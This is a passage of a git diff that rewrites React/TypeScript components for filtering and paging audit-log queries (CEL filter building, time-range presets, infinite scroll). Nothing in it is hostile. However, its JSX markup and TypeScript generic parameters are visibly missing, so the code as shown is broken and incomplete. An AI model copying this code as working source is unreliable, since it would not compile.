+ ); +} diff --git a/ui/src/components/AuditLogFilters.tsx b/ui/src/components/AuditLogFilters.tsx index bebe9115..717628f8 100644 --- a/ui/src/components/AuditLogFilters.tsx +++ b/ui/src/components/AuditLogFilters.tsx @@ -1,549 +1,549 @@ -import { useState, useCallback, useEffect } from 'react'; -import { formatISO, subDays } from 'date-fns'; - -import type { ActivityApiClient } from '../api/client'; -import { useAuditLogFacets, type AuditLogTimeRange } from '../hooks/useAuditLogFacets'; -import { TimeRangeDropdown } from './ui/time-range-dropdown'; -import { FilterChip } from './ui/filter-chip'; -import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; -import { ActionMultiSelect } from './ActionMultiSelect'; -import { UserSelect } from './UserSelect'; - -/** - * Filter state for audit logs - */ -export interface AuditLogFilterState { - /** Filter by verb/action (multi-select) */ - verbs?: string[]; - /** Filter by resource type (multi-select) */ - resourceTypes?: string[]; - /** Filter by namespace (multi-select) */ - namespaces?: string[]; - /** Filter by username (multi-select) */ - usernames?: string[]; - /** Filter by resource name (partial match) */ - resourceName?: string; - /** Custom CEL filter */ - customFilter?: string; -} - -/** - * Time range for audit log queries - */ -export interface TimeRange { - start: string; - end?: string; -} - -export interface AuditLogFiltersProps { - /** API client instance for fetching facets */ - client: ActivityApiClient; - /** Current filter state */ - filters: AuditLogFilterState; - /** Current time range */ - timeRange: TimeRange; - /** Handler called when filters change */ - onFiltersChange: (filters: AuditLogFilterState) => void; - /** Handler called when time range changes */ - onTimeRangeChange: (timeRange: TimeRange) => void; - /** Whether the filters are disabled (e.g., during loading) */ - disabled?: boolean; - /** Additional CSS class */ - className?: string; -} - -/** - * Preset time ranges - */ -const TIME_PRESETS = [ - { key: 'last15min', label: 'Last 15 min' }, - { key: 'last1hour', label: 'Last hour' }, - { key: 'last6hours', label: 'Last 6 hours' }, - { key: 'last24hours', label: 'Last 24 hours' }, - { key: 'last7days', label: 'Last 7 days' }, - { key: 'last30days', label: 'Last 30 days' }, -]; - -/** - * Convert preset key to ISO time range - */ -function presetToTimeRange(presetKey: string): AuditLogTimeRange { - const now = new Date(); - let start: Date; - - switch (presetKey) { - case 'last15min': - start = new Date(now.getTime() - 15 * 60 * 1000); - break; - case 'last1hour': - start = new Date(now.getTime() - 60 * 60 * 1000); - break; - case 'last6hours': - start = new Date(now.getTime() - 6 * 60 * 60 * 1000); - break; - case 'last24hours': - start = new Date(now.getTime() - 24 * 60 * 60 * 1000); - break; - case 'last7days': - start = new Date(now.getTime() - 7 * 24 * 60 * 60 * 1000); - break; - case 'last30days': - start = new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); - break; - default: - start = new Date(now.getTime() - 24 * 60 * 60 * 1000); - } - - return { - start: formatISO(start), - end: formatISO(now), - }; -} - -/** - * Filter configuration registry - */ -type FilterId = 'verbs' | 'resourceTypes' | 'namespaces' | 'usernames' | 'resourceName'; - -interface FilterConfig { - id: FilterId; - label: string; - inputMode: 'typeahead' | 'text'; - placeholder?: string; - searchPlaceholder?: string; -} - -const FILTER_CONFIGS: Record = { - verbs: { - id: 'verbs', - label: 'Action', - inputMode: 'typeahead', - searchPlaceholder: 'Search actions...', - }, - resourceTypes: { - id: 'resourceTypes', - label: 'Resource', - inputMode: 'typeahead', - searchPlaceholder: 'Search resources...', - }, - namespaces: { - id: 'namespaces', - label: 'Namespace', - inputMode: 'typeahead', - searchPlaceholder: 'Search namespaces...', - }, - usernames: { - id: 'usernames', - label: 'User', - inputMode: 'typeahead', - searchPlaceholder: 'Search users...', - }, - resourceName: { - id: 'resourceName', - label: 'Name', - inputMode: 'text', - placeholder: 'Enter resource name...', - }, -}; - -/** - * Helper function to convert ISO string to datetime-local format - */ -const formatDatetimeLocal = (isoString: string): string => { - const date = new Date(isoString); - const year = date.getFullYear(); - const month = String(date.getMonth() + 1).padStart(2, '0'); - const day = String(date.getDate()).padStart(2, '0'); - const hours = String(date.getHours()).padStart(2, '0'); - const minutes = String(date.getMinutes()).padStart(2, '0'); - return `${year}-${month}-${day}T${hours}:${minutes}`; -}; - - -/** - * Build CEL filter expression from filter state - */ -export function buildAuditLogCEL(filters: AuditLogFilterState): string { - const conditions: string[] = []; - - // Verbs filter (multi-select) - if (filters.verbs && filters.verbs.length > 0) { - if (filters.verbs.length === 1) { - conditions.push(`verb == "${filters.verbs[0]}"`); - } else { - const verbConditions = filters.verbs.map((v) => `verb == "${v}"`); - conditions.push(`(${verbConditions.join(' || ')})`); - } - } - - // Resource types filter (multi-select) - if (filters.resourceTypes && filters.resourceTypes.length > 0) { - if (filters.resourceTypes.length === 1) { - conditions.push(`objectRef.resource == "${filters.resourceTypes[0]}"`); - } else { - const resConditions = filters.resourceTypes.map((r) => `objectRef.resource == "${r}"`); - conditions.push(`(${resConditions.join(' || ')})`); - } - } - - // Namespaces filter (multi-select) - if (filters.namespaces && filters.namespaces.length > 0) { - if (filters.namespaces.length === 1) { - conditions.push(`objectRef.namespace == "${filters.namespaces[0]}"`); - } else { - const nsConditions = filters.namespaces.map((ns) => `objectRef.namespace == "${ns}"`); - conditions.push(`(${nsConditions.join(' || ')})`); - } - } - - // Usernames filter (multi-select) - if (filters.usernames && filters.usernames.length > 0) { - if (filters.usernames.length === 1) { - conditions.push(`user.username == "${filters.usernames[0]}"`); - } else { - const userConditions = filters.usernames.map((u) => `user.username == "${u}"`); - conditions.push(`(${userConditions.join(' || ')})`); - } - } - - // Resource name filter (partial match) - if (filters.resourceName) { - conditions.push(`objectRef.name.contains("${filters.resourceName}")`); - } - - // Custom filter - if (filters.customFilter) { - conditions.push(filters.customFilter); - } - - return conditions.join(' && '); -} - -/** - * AuditLogFilters provides compact filter controls for audit log queries - */ -export function AuditLogFilters({ - client, - filters, - timeRange, - onFiltersChange, - onTimeRangeChange, - disabled = false, - className = '', -}: AuditLogFiltersProps) { - // Convert timeRange to format expected by useAuditLogFacets - const [facetTimeRange, setFacetTimeRange] = useState(() => - presetToTimeRange('last24hours') - ); - - const { verbs, resources, namespaces, usernames, error: facetsError } = useAuditLogFacets( - client, - facetTimeRange - ); - - // Log facets error for debugging - if (facetsError) { - console.error('Failed to load audit log facets:', facetsError); - } - - // Track which filter was just added to auto-open it - const [pendingFilter, setPendingFilter] = useState(null); - - // Track selected preset - const [selectedPreset, setSelectedPreset] = useState('last24hours'); - - // Custom time range state - const [customStart, setCustomStart] = useState(() => - formatDatetimeLocal(formatISO(subDays(new Date(), 1))) - ); - const [customEnd, setCustomEnd] = useState(() => formatDatetimeLocal(formatISO(new Date()))); - - // Handle time range preset selection - const handleTimePresetSelect = useCallback( - (presetKey: string) => { - setSelectedPreset(presetKey); - const range = presetToTimeRange(presetKey); - setFacetTimeRange(range); - onTimeRangeChange({ - start: range.start, - end: range.end, - }); - }, - [onTimeRangeChange] - ); - - // Handle custom time range apply - const handleCustomRangeApply = useCallback( - (start: string, end: string) => { - setSelectedPreset('custom'); - setCustomStart(start); - setCustomEnd(end); - const startIso = new Date(start).toISOString(); - const endIso = new Date(end).toISOString(); - setFacetTimeRange({ start: startIso, end: endIso }); - onTimeRangeChange({ - start: startIso, - end: endIso, - }); - }, - [onTimeRangeChange] - ); - - // Get display label for time range - const getTimeRangeLabel = () => { - const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); - if (preset) return preset.label; - if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { - const start = new Date(timeRange.start); - const end = new Date(timeRange.end); - return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; - } - return 'Select time range'; - }; - - // Determine which filters are currently active (have values) - // Note: We exclude verbs and usernames from filter chips since they're handled by quick filters - const filtersWithValues: FilterId[] = []; - // if (filters.verbs && filters.verbs.length > 0) filtersWithValues.push('verbs'); // Handled by ActionToggle - if (filters.resourceTypes && filters.resourceTypes.length > 0) filtersWithValues.push('resourceTypes'); - if (filters.namespaces && filters.namespaces.length > 0) filtersWithValues.push('namespaces'); - // if (filters.usernames && filters.usernames.length > 0) filtersWithValues.push('usernames'); // Handled by UserSelect - if (filters.resourceName) filtersWithValues.push('resourceName'); - - // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters - const activeFilterIds: FilterId[] = - pendingFilter && !filtersWithValues.includes(pendingFilter) - ? [...filtersWithValues, pendingFilter] - : filtersWithValues; - - // Clear pending filter when filter values change (user selected something) - useEffect(() => { - if (pendingFilter && filtersWithValues.includes(pendingFilter)) { - // Filter now has values, clear pending state - setPendingFilter(null); - } - }, [pendingFilter, filtersWithValues]); - - // Build available filters list - // Note: Action and User are now quick filters, so they're excluded from the dropdown - const availableFilters: FilterOption[] = [ - { id: 'resourceTypes', label: 'Resource' }, - { id: 'namespaces', label: 'Namespace' }, - { id: 'resourceName', label: 'Name' }, - ]; - - // Handle adding a filter - const handleAddFilter = useCallback((filterId: string) => { - setPendingFilter(filterId as FilterId); - }, []); - - // Handle popover close - clear pending filter if no values were selected - const handlePopoverClose = useCallback( - (filterId: FilterId) => { - if (pendingFilter === filterId) { - const hasValues = (() => { - const value = filters[filterId]; - if (filterId === 'resourceName') return !!value; - return Array.isArray(value) && value.length > 0; - })(); - if (!hasValues) { - setPendingFilter(null); - } - } - }, - [pendingFilter, filters] - ); - - // Handle filter value changes - const handleFilterChange = useCallback( - (filterId: FilterId, values: string[]) => { - onFiltersChange({ - ...filters, - [filterId]: values.length > 0 ? values : undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Handle filter clear - const handleFilterClear = useCallback( - (filterId: FilterId) => { - onFiltersChange({ - ...filters, - [filterId]: undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Get options for a specific filter - const getFilterOptions = (filterId: FilterId) => { - switch (filterId) { - case 'verbs': - return verbs - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'resourceTypes': - return resources - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'namespaces': - return namespaces - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'usernames': - return usernames - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - default: - return []; - } - }; - - // Get values for a specific filter - const getFilterValues = (filterId: FilterId): string[] => { - const value = filters[filterId]; - if (filterId === 'resourceName') { - return value ? [value as string] : []; - } - return (value as string[] | undefined) || []; - }; - - // Handle action multi-select change - const handleActionChange = useCallback( - (selectedVerbs: string[]) => { - onFiltersChange({ - ...filters, - verbs: selectedVerbs.length > 0 ? selectedVerbs : undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Get current action values for multi-select - const getActionValues = (): string[] => { - return filters.verbs || []; - }; - - // Prepare action options from facets - const actionOptions = verbs - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value.charAt(0).toUpperCase() + facet.value.slice(1), // Capitalize first letter - count: facet.count, - })); - - // Handle user select change - const handleUserChange = useCallback( - (username?: string) => { - onFiltersChange({ - ...filters, - usernames: username ? [username] : undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Get current user value for select (single selection for quick filter) - const getCurrentUser = (): string | undefined => { - return filters.usernames && filters.usernames.length === 1 - ? filters.usernames[0] - : undefined; - }; - - // Prepare user options for select - const userOptions = usernames - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - - return ( -
-
- {/* Action Multi-Select */} - - - {/* User Select */} - - - {/* Active Filter Chips */} - {activeFilterIds.map((filterId) => { - const config = FILTER_CONFIGS[filterId]; - return ( - handleFilterChange(filterId, values)} - onClear={() => handleFilterClear(filterId)} - onPopoverClose={() => handlePopoverClose(filterId)} - inputMode={config.inputMode} - placeholder={config.placeholder} - searchPlaceholder={config.searchPlaceholder} - autoOpen={pendingFilter === filterId} - disabled={disabled} - /> - ); - })} - - {/* Add Filter Dropdown */} - 0} - disabled={disabled} - /> - - {/* Spacer */} -
- - {/* Time Range Dropdown */} - -
-
- ); -} +import { useState, useCallback, useEffect } from 'react'; +import { formatISO, subDays } from 'date-fns'; + +import type { ActivityApiClient } from '../api/client'; +import { useAuditLogFacets, type AuditLogTimeRange } from '../hooks/useAuditLogFacets'; +import { TimeRangeDropdown } from './ui/time-range-dropdown'; +import { FilterChip } from './ui/filter-chip'; +import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; +import { ActionMultiSelect } from './ActionMultiSelect'; +import { UserSelect } from './UserSelect'; + +/** + * Filter state for audit logs + */ +export interface AuditLogFilterState { + /** Filter by verb/action (multi-select) */ + verbs?: string[]; + /** Filter by resource type (multi-select) */ + resourceTypes?: string[]; + /** Filter by namespace (multi-select) */ + namespaces?: string[]; + /** Filter by username (multi-select) */ + usernames?: string[]; + /** Filter by resource name (partial match) */ + resourceName?: string; + /** Custom CEL filter */ + customFilter?: string; +} + +/** + * Time range for audit log queries + */ +export interface TimeRange { + start: string; + end?: string; +} + +export interface AuditLogFiltersProps { + /** API client instance for fetching facets */ + client: ActivityApiClient; + /** Current filter state */ + filters: AuditLogFilterState; + /** Current time range */ + timeRange: TimeRange; + /** Handler called when filters change */ + onFiltersChange: (filters: AuditLogFilterState) => void; + /** Handler called when time range changes */ + onTimeRangeChange: (timeRange: TimeRange) => void; + /** Whether the filters are disabled (e.g., during loading) */ + disabled?: boolean; + /** Additional CSS class */ + className?: string; +} + +/** + * Preset time ranges + */ +const TIME_PRESETS = [ + { key: 'last15min', label: 'Last 15 min' }, + { key: 'last1hour', label: 'Last hour' }, + { key: 'last6hours', label: 'Last 6 hours' }, + { key: 'last24hours', label: 'Last 24 hours' }, + { key: 'last7days', label: 'Last 7 days' }, + { key: 'last30days', label: 'Last 30 days' }, +]; + +/** + * Convert preset key to ISO time range + */ +function presetToTimeRange(presetKey: string): AuditLogTimeRange { + const now = new Date(); + let start: Date; + + switch (presetKey) { + case 'last15min': + start = new Date(now.getTime() - 15 * 60 * 1000); + break; + case 'last1hour': + start = new Date(now.getTime() - 60 * 60 * 1000); + break; + case 'last6hours': + start = new Date(now.getTime() - 6 * 60 * 60 * 1000); + break; + case 'last24hours': + start = new Date(now.getTime() - 24 * 60 * 60 * 1000); + break; + case 'last7days': + start = new Date(now.getTime() - 7 * 24 * 60 * 60 * 1000); + break; + case 'last30days': + start = new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); + break; + default: + start = new Date(now.getTime() - 24 * 60 * 60 * 1000); + } + + return { + start: formatISO(start), + end: formatISO(now), + }; +} + +/** + * Filter configuration registry + */ +type FilterId = 'verbs' | 'resourceTypes' | 'namespaces' | 'usernames' | 'resourceName'; + +interface FilterConfig { + id: FilterId; + label: string; + inputMode: 'typeahead' | 'text'; + placeholder?: string; + searchPlaceholder?: string; +} + +const FILTER_CONFIGS: Record = { + verbs: { + id: 'verbs', + label: 'Action', + inputMode: 'typeahead', + searchPlaceholder: 'Search actions...', + }, + resourceTypes: { + id: 'resourceTypes', + label: 'Resource', + inputMode: 'typeahead', + searchPlaceholder: 'Search resources...', + }, + namespaces: { + id: 'namespaces', + label: 'Namespace', + inputMode: 'typeahead', + searchPlaceholder: 'Search namespaces...', + }, + usernames: { + id: 'usernames', + label: 'User', + inputMode: 'typeahead', + searchPlaceholder: 'Search users...', + }, + resourceName: { + id: 'resourceName', + label: 'Name', + inputMode: 'text', + placeholder: 'Enter resource name...', + }, +}; + +/** + * Helper function to convert ISO string to datetime-local format + */ +const formatDatetimeLocal = (isoString: string): string => { + const date = new Date(isoString); + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + const hours = String(date.getHours()).padStart(2, '0'); + const minutes = String(date.getMinutes()).padStart(2, '0'); + return `${year}-${month}-${day}T${hours}:${minutes}`; +}; + + +/** + * Build CEL filter expression from filter state + */ +export function buildAuditLogCEL(filters: AuditLogFilterState): string { + const conditions: string[] = []; + + // Verbs filter (multi-select) + if (filters.verbs && filters.verbs.length > 0) { + if (filters.verbs.length === 1) { + conditions.push(`verb == "${filters.verbs[0]}"`); + } else { + const verbConditions = filters.verbs.map((v) => `verb == "${v}"`); + conditions.push(`(${verbConditions.join(' || ')})`); + } + } + + // Resource types filter (multi-select) + if (filters.resourceTypes && filters.resourceTypes.length > 0) { + if (filters.resourceTypes.length === 1) { + conditions.push(`objectRef.resource == "${filters.resourceTypes[0]}"`); + } else { + const resConditions = filters.resourceTypes.map((r) => `objectRef.resource == "${r}"`); + conditions.push(`(${resConditions.join(' || ')})`); + } + } + + // Namespaces filter (multi-select) + if (filters.namespaces && filters.namespaces.length > 0) { + if (filters.namespaces.length === 1) { + conditions.push(`objectRef.namespace == "${filters.namespaces[0]}"`); + } else { + const nsConditions = filters.namespaces.map((ns) => `objectRef.namespace == "${ns}"`); + conditions.push(`(${nsConditions.join(' || ')})`); + } + } + + // Usernames filter (multi-select) + if (filters.usernames && filters.usernames.length > 0) { + if (filters.usernames.length === 1) { + conditions.push(`user.username == "${filters.usernames[0]}"`); + } else { + const userConditions = filters.usernames.map((u) => `user.username == "${u}"`); + conditions.push(`(${userConditions.join(' || ')})`); + } + } + + // Resource name filter (partial match) + if (filters.resourceName) { + conditions.push(`objectRef.name.contains("${filters.resourceName}")`); + } + + // Custom filter + if (filters.customFilter) { + conditions.push(filters.customFilter); + } + + return conditions.join(' && '); +} + +/** + * AuditLogFilters provides compact filter controls for audit log queries + */ +export function AuditLogFilters({ + client, + filters, + timeRange, + onFiltersChange, + onTimeRangeChange, + disabled = false, + className = '', +}: AuditLogFiltersProps) { + // Convert timeRange to format expected by useAuditLogFacets + const [facetTimeRange, setFacetTimeRange] = useState(() => + presetToTimeRange('last24hours') + ); + + const { verbs, resources, namespaces, usernames, error: facetsError } = useAuditLogFacets( + client, + facetTimeRange + ); + + // Log facets error for debugging + if (facetsError) { + console.error('Failed to load audit log facets:', facetsError); + } + + // Track which filter was just added to auto-open it + const [pendingFilter, setPendingFilter] = useState(null); + + // Track selected preset + const [selectedPreset, setSelectedPreset] = useState('last24hours'); + + // Custom time range state + const [customStart, setCustomStart] = useState(() => + formatDatetimeLocal(formatISO(subDays(new Date(), 1))) + ); + const [customEnd, setCustomEnd] = useState(() => formatDatetimeLocal(formatISO(new Date()))); + + // Handle time range preset selection + const handleTimePresetSelect = useCallback( + (presetKey: string) => { + setSelectedPreset(presetKey); + const range = presetToTimeRange(presetKey); + setFacetTimeRange(range); + onTimeRangeChange({ + start: range.start, + end: range.end, + }); + }, + [onTimeRangeChange] + ); + + // Handle custom time range apply + const handleCustomRangeApply = useCallback( + (start: string, end: string) => { + setSelectedPreset('custom'); + setCustomStart(start); + setCustomEnd(end); + const startIso = new Date(start).toISOString(); + const endIso = new Date(end).toISOString(); + setFacetTimeRange({ start: startIso, end: endIso }); + onTimeRangeChange({ + start: startIso, + end: endIso, + }); + }, + [onTimeRangeChange] + ); + + // Get display label for time range + const getTimeRangeLabel = () => { + const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); + if (preset) return preset.label; + if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { + const start = new Date(timeRange.start); + const end = new Date(timeRange.end); + return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; + } + return 'Select time range'; + }; + + // Determine which filters are currently active (have values) + // Note: We exclude verbs and usernames from filter chips since they're handled by quick filters + const filtersWithValues: FilterId[] = []; + // if (filters.verbs && filters.verbs.length > 0) filtersWithValues.push('verbs'); // Handled by ActionToggle + if (filters.resourceTypes && filters.resourceTypes.length > 0) filtersWithValues.push('resourceTypes'); + if (filters.namespaces && filters.namespaces.length > 0) filtersWithValues.push('namespaces'); + // if (filters.usernames && filters.usernames.length > 0) filtersWithValues.push('usernames'); // Handled by UserSelect + if (filters.resourceName) filtersWithValues.push('resourceName'); + + // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters + const activeFilterIds: FilterId[] = + pendingFilter && !filtersWithValues.includes(pendingFilter) + ? [...filtersWithValues, pendingFilter] + : filtersWithValues; + + // Clear pending filter when filter values change (user selected something) + useEffect(() => { + if (pendingFilter && filtersWithValues.includes(pendingFilter)) { + // Filter now has values, clear pending state + setPendingFilter(null); + } + }, [pendingFilter, filtersWithValues]); + + // Build available filters list + // Note: Action and User are now quick filters, so they're excluded from the dropdown + const availableFilters: FilterOption[] = [ + { id: 'resourceTypes', label: 'Resource' }, + { id: 'namespaces', label: 'Namespace' }, + { id: 'resourceName', label: 'Name' }, + ]; + + // Handle adding a filter + const handleAddFilter = useCallback((filterId: string) => { + setPendingFilter(filterId as FilterId); + }, []); + + // Handle popover close - clear pending filter if no values were selected + const handlePopoverClose = useCallback( + (filterId: FilterId) => { + if (pendingFilter === filterId) { + const hasValues = (() => { + const value = filters[filterId]; + if (filterId === 'resourceName') return !!value; + return Array.isArray(value) && value.length > 0; + })(); + if (!hasValues) { + setPendingFilter(null); + } + } + }, + [pendingFilter, filters] + ); + + // Handle filter value changes + const handleFilterChange = useCallback( + (filterId: FilterId, values: string[]) => { + onFiltersChange({ + ...filters, + [filterId]: values.length > 0 ? values : undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Handle filter clear + const handleFilterClear = useCallback( + (filterId: FilterId) => { + onFiltersChange({ + ...filters, + [filterId]: undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Get options for a specific filter + const getFilterOptions = (filterId: FilterId) => { + switch (filterId) { + case 'verbs': + return verbs + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'resourceTypes': + return resources + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'namespaces': + return namespaces + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'usernames': + return usernames + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + default: + return []; + } + }; + + // Get values for a specific filter + const getFilterValues = (filterId: FilterId): string[] => { + const value = filters[filterId]; + if (filterId === 'resourceName') { + return value ? [value as string] : []; + } + return (value as string[] | undefined) || []; + }; + + // Handle action multi-select change + const handleActionChange = useCallback( + (selectedVerbs: string[]) => { + onFiltersChange({ + ...filters, + verbs: selectedVerbs.length > 0 ? selectedVerbs : undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Get current action values for multi-select + const getActionValues = (): string[] => { + return filters.verbs || []; + }; + + // Prepare action options from facets + const actionOptions = verbs + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value.charAt(0).toUpperCase() + facet.value.slice(1), // Capitalize first letter + count: facet.count, + })); + + // Handle user select change + const handleUserChange = useCallback( + (username?: string) => { + onFiltersChange({ + ...filters, + usernames: username ? [username] : undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Get current user value for select (single selection for quick filter) + const getCurrentUser = (): string | undefined => { + return filters.usernames && filters.usernames.length === 1 + ? filters.usernames[0] + : undefined; + }; + + // Prepare user options for select + const userOptions = usernames + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + + return ( +
+
+ {/* Action Multi-Select */} + + + {/* User Select */} + + + {/* Active Filter Chips */} + {activeFilterIds.map((filterId) => { + const config = FILTER_CONFIGS[filterId]; + return ( + handleFilterChange(filterId, values)} + onClear={() => handleFilterClear(filterId)} + onPopoverClose={() => handlePopoverClose(filterId)} + inputMode={config.inputMode} + placeholder={config.placeholder} + searchPlaceholder={config.searchPlaceholder} + autoOpen={pendingFilter === filterId} + disabled={disabled} + /> + ); + })} + + {/* Add Filter Dropdown */} + 0} + disabled={disabled} + /> + + {/* Spacer */} +
+ + {/* Time Range Dropdown */} + +
+
+ ); +} diff --git a/ui/src/components/AuditLogQueryComponent.tsx b/ui/src/components/AuditLogQueryComponent.tsx index 82574b7e..3e548280 100644 --- a/ui/src/components/AuditLogQueryComponent.tsx +++ b/ui/src/components/AuditLogQueryComponent.tsx @@ -1,245 +1,245 @@ -import { useState, useEffect, useRef, useCallback } from 'react'; -import { formatISO, subDays } from 'date-fns'; -import { AuditLogFilters, buildAuditLogCEL, type AuditLogFilterState, type TimeRange } from './AuditLogFilters'; -import { AuditLogFeedItem } from './AuditLogFeedItem'; -import { useAuditLogQuery } from '../hooks/useAuditLogQuery'; -import type { AuditLogQuerySpec, Event } from '../types'; -import type { ActivityApiClient } from '../api/client'; -import type { ErrorFormatter } from '../types/activity'; -import { Card } from './ui/card'; -import { ApiErrorAlert } from './ApiErrorAlert'; - -// Debounce delay for filter changes (ms) -const FILTER_DEBOUNCE_MS = 300; - -// Default page size for infinite scroll -const DEFAULT_PAGE_SIZE = 100; - -export interface AuditLogQueryComponentProps { - client: ActivityApiClient; - className?: string; - onEventSelect?: (event: Event) => void; - initialFilters?: AuditLogFilterState; - initialTimeRange?: TimeRange; - /** Custom error formatter for customizing error messages */ - errorFormatter?: ErrorFormatter; -} - -/** - * Complete audit log query component with filter builder and results viewer - */ -export function AuditLogQueryComponent({ - client, - className = '', - onEventSelect, - initialFilters = {}, - initialTimeRange = { - start: formatISO(subDays(new Date(), 1)), - end: formatISO(new Date()), - }, - errorFormatter, -}: AuditLogQueryComponentProps) { - const [filters, setFilters] = useState(initialFilters); - const [timeRange, setTimeRange] = useState(initialTimeRange); - - const { events, isLoading, error, hasMore, executeQuery, loadMore } = - useAuditLogQuery({ client }); - - const loadMoreTriggerRef = useRef(null); - const scrollContainerRef = useRef(null); - // Store the latest loadMore function in a ref to avoid observer re-subscription - const loadMoreRef = useRef(loadMore); - const filterDebounceRef = useRef | null>(null); - const hasInitialLoadRef = useRef(false); - - // Build query spec from current filter state - const buildQuerySpec = useCallback((): AuditLogQuerySpec => { - const spec: AuditLogQuerySpec = { - filter: buildAuditLogCEL(filters) || '', - startTime: timeRange.start, - endTime: timeRange.end, - limit: DEFAULT_PAGE_SIZE, - }; - return spec; - }, [filters, timeRange]); - - // Execute query with current filters - const refresh = useCallback(async () => { - const spec = buildQuerySpec(); - await executeQuery(spec); - hasInitialLoadRef.current = true; - }, [buildQuerySpec, executeQuery]); - - // Handle filter changes with debounced auto-refresh - const handleFiltersChange = useCallback( - (newFilters: AuditLogFilterState) => { - setFilters(newFilters); - - // Cancel any pending debounced refresh - if (filterDebounceRef.current) { - clearTimeout(filterDebounceRef.current); - } - - // Debounce the refresh to avoid excessive API calls - filterDebounceRef.current = setTimeout(() => { - filterDebounceRef.current = null; - }, FILTER_DEBOUNCE_MS); - }, - [] - ); - - // Handle time range changes with debounced auto-refresh - const handleTimeRangeChange = useCallback( - (newTimeRange: TimeRange) => { - setTimeRange(newTimeRange); - - // Cancel any pending debounced refresh - if (filterDebounceRef.current) { - clearTimeout(filterDebounceRef.current); - } - - // Debounce the refresh - filterDebounceRef.current = setTimeout(() => { - filterDebounceRef.current = null; - }, FILTER_DEBOUNCE_MS); - }, - [] - ); - - // Auto-refresh when filters or time range change (debounced) - useEffect(() => { - // Skip the initial render - we'll handle that separately - if (!hasInitialLoadRef.current) { - return; - } - - // Cancel any pending refresh - if (filterDebounceRef.current) { - clearTimeout(filterDebounceRef.current); - } - - // Debounce the refresh - filterDebounceRef.current = setTimeout(() => { - filterDebounceRef.current = null; - refresh(); - }, FILTER_DEBOUNCE_MS); - - return () => { - if (filterDebounceRef.current) { - clearTimeout(filterDebounceRef.current); - filterDebounceRef.current = null; - } - }; - }, [filters, timeRange, refresh]); - - // Auto-execute on mount - useEffect(() => { - refresh(); - }, []); // eslint-disable-line react-hooks/exhaustive-deps - - // Update the ref whenever loadMore changes - useEffect(() => { - loadMoreRef.current = loadMore; - }, [loadMore]); - - // Infinite scroll using Intersection Observer - useEffect(() => { - if (!loadMoreTriggerRef.current) return; - - const observer = new IntersectionObserver( - (entries) => { - const entry = entries[0]; - if (entry.isIntersecting && hasMore && !isLoading) { - console.log('[AuditLogQueryComponent] Intersection triggered, loading more...'); - // Call through the ref to always use the latest function - loadMoreRef.current(); - } - }, - { - root: scrollContainerRef.current, - rootMargin: '200px', - threshold: 0, - } - ); - - observer.observe(loadMoreTriggerRef.current); - - return () => { - observer.disconnect(); - }; - }, [hasMore, isLoading]); - - // Cleanup on unmount - useEffect(() => { - return () => { - if (filterDebounceRef.current) { - clearTimeout(filterDebounceRef.current); - } - }; - }, []); - - return ( - - {/* Filters */} - - - {/* Error Display */} - - - {/* Event List with Infinite Scroll */} -
- {/* Loading State (initial load) */} - {isLoading && events.length === 0 && ( -
-
- Searching audit logs... -
- )} - - {/* Empty State */} - {!isLoading && events.length === 0 && !error && ( -
-

No audit events found

-

- Try adjusting your filters or time range -

-
- )} - - {/* Event List */} - {events.map((event, index) => ( - - ))} - - {/* Load More Trigger for Infinite Scroll */} - {hasMore &&
} - - {/* Loading Indicator (pagination) */} - {isLoading && events.length > 0 && ( -
-
- Loading more events... -
- )} - - {/* End of Results */} - {!hasMore && events.length > 0 && !isLoading && ( -
- End of results -
- )} -
